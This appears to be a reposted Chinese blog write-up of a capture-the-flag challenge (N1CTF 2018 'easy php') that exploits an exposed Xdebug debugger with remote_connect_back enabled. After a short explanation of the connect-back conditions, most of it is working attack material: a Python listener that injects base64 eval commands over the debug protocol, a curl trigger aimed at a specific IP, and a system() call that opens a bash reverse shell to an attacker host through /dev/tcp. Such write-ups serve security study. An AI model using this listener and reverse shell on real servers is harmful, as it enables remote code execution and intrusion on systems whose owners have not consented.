开放了XDEBUG时的利用方法

总结下利用条件,
1. 需要存在xdebug.remote_connect_back=On,并且没有设置xdebug.remote_host,使用$_SERVER['HTTP_X_FORWARDED_FOR']$_SERVER['REMOTE_ADDR']获取IP地址进行回连。这个选项适合多人开发调试使用。
2. 并且知道xdebug.remote_port所设定的端口,默认值为9000。

如果xdebug.remote_connect_back=On,其连接方式有些不同:
服务器IP和HTTP端口10.0.1.2:80
IDE所在机器是未知IP,所以 xdebug.remote_connect_back 设为1。
IDE侦听端口9000,因此 xdebug.remote_port 设为9000
HTTP请求开始, Xdebug通过HTTP头部获取IP地址。
Xdebug连接获取到的IP (10.0.1.42)于端口9000
调试运行,HTTP提供回应。
摘自:https://www.cnblogs.com/xiwang6428/p/5604102.html


呃 写完这些看到了Ricterz师傅的博客里的内容详细的多,https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
转自:
http://www.bendawang.site/2018/03/13/N1CTF-2018-Web-writeup/
里面easy php题目的解法二:

rr师傅的解法,在phpinfo中不知道为啥看到remote_connect_back = Off,但是那个是php-cli的,而实际我下载下来的镜像跑起来看到的是开着的,即php-fpm实际是开着的,所以能够直接getshell。 这个点rr师傅在之前的whctf出过。关于这个利用的详情可以看rr师傅的博客

这里放一下代码: vps上运行:

#!/usr/bin/python2
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
    client_data = conn.recv(1024)
    print(client_data)
    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
    conn.sendall('feature_get -i transaction_id -n feature_name\x00')

然后运行:curl ‘http://47.97.221.96:23333?XDEBUG_SESSION_START

发现代码那边收到信息了, 然后输入

system(‘bash -c “bash -i >& /dev/tcp/vps_ip/vps_port 0<&1 2>&1”’)
就拿到shell,flag在数据库的flag库里面。

猜你喜欢

转载自blog.csdn.net/fnmsd/article/details/79552319